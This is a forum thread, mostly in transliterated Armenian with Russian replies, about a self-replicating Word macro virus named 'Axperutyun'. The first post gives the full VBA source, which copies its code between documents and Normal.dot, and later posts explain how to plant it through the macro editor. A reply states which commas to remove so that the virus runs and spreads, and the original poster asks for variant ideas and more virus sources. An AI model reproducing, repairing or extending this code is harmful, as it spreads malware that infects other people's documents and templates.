![]() |
![]() | #1 |
Banned Join Date: 03 2002 Location: Vanadzor
Posts: 246
Downloads: 0 Uploads: 0
Reputation: 0 | 0 | ![]()
Inch kaseq sra veraberyal? ////****////****////****////****////****////**** Private Sub Document_Open () 'Author: TigTan 'Name: Axperutyun 'Comments: Friendship 4EVER 'Origin: Zion Dim Norm, NormCode, NormLines, Doc, DocCode, DocLines Set Norm = NormalTemplate.VBProject.VBComponents(1) Set Doc = ActiveDocument.VBProject.VBComponents(1) Set DocCode = Doc.CodeModule:Set NormCode = Norm.CodeModule If DocCode.lines(23, 1) = "" Then For y = 1 To DocCode.countoflines DocCode.replacelines y, Next y For x = 2 To NormCode.countoflines DocCode.insertlines 26 + x, NormCode.lines(x, 1) Next x End If If NormCode.lines(23, 1) = "" Then For y = 1 To NormCode.countoflines NormCode.replacelines y, Next y For x = 1 To DocCode.countoflines NormCode.insertlines 26 + x, DocCode.lines(x, 1) Next x End If End Sub Private Sub Document_New () MsgBox "You have been infected by the "Axperutyun" virus! Thank you, and have a nice day.", vbInformation End Sub Private Sub Document_Close () End Sub ////****////****////****////****////****////**** |
![]() |
![]() | #2 |
Guru Apprentice Join Date: 02 2002 Location: /dev/null Age: 44
Posts: 524
Downloads: 0 Uploads: 0
Reputation: 0 | 0 | ![]()
Насколько я знаю этот язык (VBMacro?? даже названия не помню ![]() "активная" часть "вируса". А как она активизируется? Я что должен сам своими руками добавить в свой документ или темплейт вызов этой функции? Напоминает одно писмьмо, которое я получил несколько месяцев назад. Что-то вроде : You've just been infected by first Irish virus. Because we don't have enough skills to actually write one, we ask you to forward this email to all your friends, erase all your files and format your hard drive. Thank you for cooperation. Тоже вирус ![]() |
![]() |
![]() | #3 | |
Banned Join Date: 03 2002 Location: Vanadzor
Posts: 246
Downloads: 0 Uploads: 0
Reputation: 0 | 0 | ![]() Quote:
Da karevor chi.... Uremn, macros Aktivatsnelu mi qani dzev ka, aveli chisht te inchqan qyal a [email protected], i harke ete miangamits seghmes enable macros to en amena qyal Virin el kvaraqi qo [email protected] es sarqel macros naev texti mej, es aydpisi gazanutyunner shat qich em handipel bayst handipel em u [email protected] da e. Bayst chigitem xi, ayn inch es gtsel em [email protected](Source Code) ay [email protected] Sintax error e talis, chi karoghanum batsel, Aysniqn compiller chi anum... Bayts te ira Sev [email protected] anum e, aveli chisht Ekranin Msg chi gtsum bayst kextotum e, Erevi im mot visual basic-i problem ka, ete djvar chi du qo mot portsi. Isk [email protected] aktivatsnelu amenahesht [email protected] sa e... portsi sents... Batsi Word heto seghmi ALT+F11 Heto aj koghmi menu-i vra seghmi "This Document" heto batsvats masum paste ara qo [email protected] Heto Mti Word Ev Text gri Qo File-i mej u save ara. Verj sranov "chisht Grats" Code-i jamanak du kstanas Patrasti Active Macro Virus ThanX TigTan P.S. ete djvar chi et [email protected] vor du statsel es indz kugharkes? es mailis vra [email protected] kam el [email protected] Spaselu em With Clean Regards Tigran Tananyan | |
![]() |
![]() | #4 |
Guru Apprentice Join Date: 02 2002 Location: /dev/null Age: 44
Posts: 524
Downloads: 0 Uploads: 0
Reputation: 0 | 0 | ![]()
Systax Error выдается потому что у тебя ошибки в 3-х строчках (как минимум в исходнике кототый в этом посте). К сожалению на машине где я проверял этот код не установлены Help-файлы, так что разобраться как конкретно он работает я не могу, могу только предположить. А то что AVP его ловит - это я думаю неудивительно. Я бы на месте AVP ловил бы все что пытается переопределить функцию open или new, а также изменить normal.dot TigTan, надеюсь ты не воспримешь мои слова как агрессию, просто хочу спросить ты сам этот код написал или нашел где-нибудь? Если нашел - тогда постарайся пройтись по нему построчно и понять что же делает каждая строка. А где находятся ошибки - этого я не скажу, сам найди. |
![]() |
![]() | #5 | |
Banned Join Date: 03 2002 Location: Vanadzor
Posts: 246
Downloads: 0 Uploads: 0
Reputation: 0 | 0 | ![]() Quote:
Te inch agresiayi masin e gnum [email protected] es chhaskatsa.... ![]() ![]() Isk vor [email protected] sxalner kan es el em hamamit ![]() es inqs el gitem [email protected] ay stegh e *****/////*****///// For y = 1 To DocCode.countoflines DocCode.replacelines y, ******(Sxal1) Next y For x = 2 To NormCode.countoflines DocCode.insertlines 26 + x, NormCode.lines(x, 1) Next x End If If NormCode.lines(23, 1) = "" Then For y = 1 To NormCode.countoflines NormCode.replacelines y, ******(Sxal2) Next y For x = 1 To DocCode.countoflines --------------------------------------------- Teev es gitem vortegh e [email protected] bayts es chem karoghanum ughel, vorovhetev [email protected] chisht e ashxatum, bayts chigitem xi chi anum ayn inch es em uzum.es portsetsi popoxutyun katarel bayts chognets, migutse duq ogneq? ![]() Chishtn asats chigitem xi es el helperum ban chgta.... Gites [email protected] na chi te es gitem ardyoq da inch e anum, kam inch chi anum, es uzum imanal dzeznits sra Mutatsianeri tarberaknerits...Ete lav mtqer uneq to xndrem greq, es dem chem lini... nuynisk shat kuraxanam... Isk [email protected] verabervum e nran te ardyoq es em da grel te che to asem... asa mi hat el qo hamar grem... tsankatsats configuratsiayov**** for example erb es uzum vor infectian comp ynkni, batseluts kam pakeluts, kam [email protected] erb ekranin ga batseluts te pakeluts? tsankatsats dzevov, du menak asa... TigTan | |
![]() |
![]() | #6 |
Guru Apprentice Join Date: 02 2002 Location: /dev/null Age: 44
Posts: 524
Downloads: 0 Uploads: 0
Reputation: 0 | 0 | ![]()
TigTan: Если убрать запятые в строчках, котоые ты сам и отметил - тогда вирус работает нормально. Аккуратно переписывает себя внутрь Normal.dot-а. Странно, очень-очень странно что ты (если ты утверждаешь что сам написал код) поставил там запятые. Так что я склоняюсь к мнению что ты скопировал код откуда-то. Дальше есть два варианта: либо ты пытался его модифицировать и не справился с задачей, либо скопировал код откуда-то, где код отмечен как "рабочий" и не сумел разобраться почему же он не работает. Многие вирусы в интернете опубликованы с мелкими изменениями, которые надо саммому находить... Кстати у меня еще ругается на строчку с MsgBox. VB не любит кавычки внутри кавычек ![]() часы! |
![]() |
![]() | #7 | |
Banned Join Date: 03 2002 Location: Vanadzor
Posts: 246
Downloads: 0 Uploads: 0
Reputation: 0 | 0 | ![]() Quote:
Isk qez kasem Mersi, ete lav Doc-eri, kam el Macroneri Sourceri,tegh gites asa hastsen mtnem qashem.Tsavoq es shat jamanak chunem el internetum sourcer man galu, vorovhetev esa mi 2 amsits gnum em banak.Hima Archive em havaqum vor ayntegh usumnasirem ![]() ![]() ![]() | |
![]() |
Sponsored Links |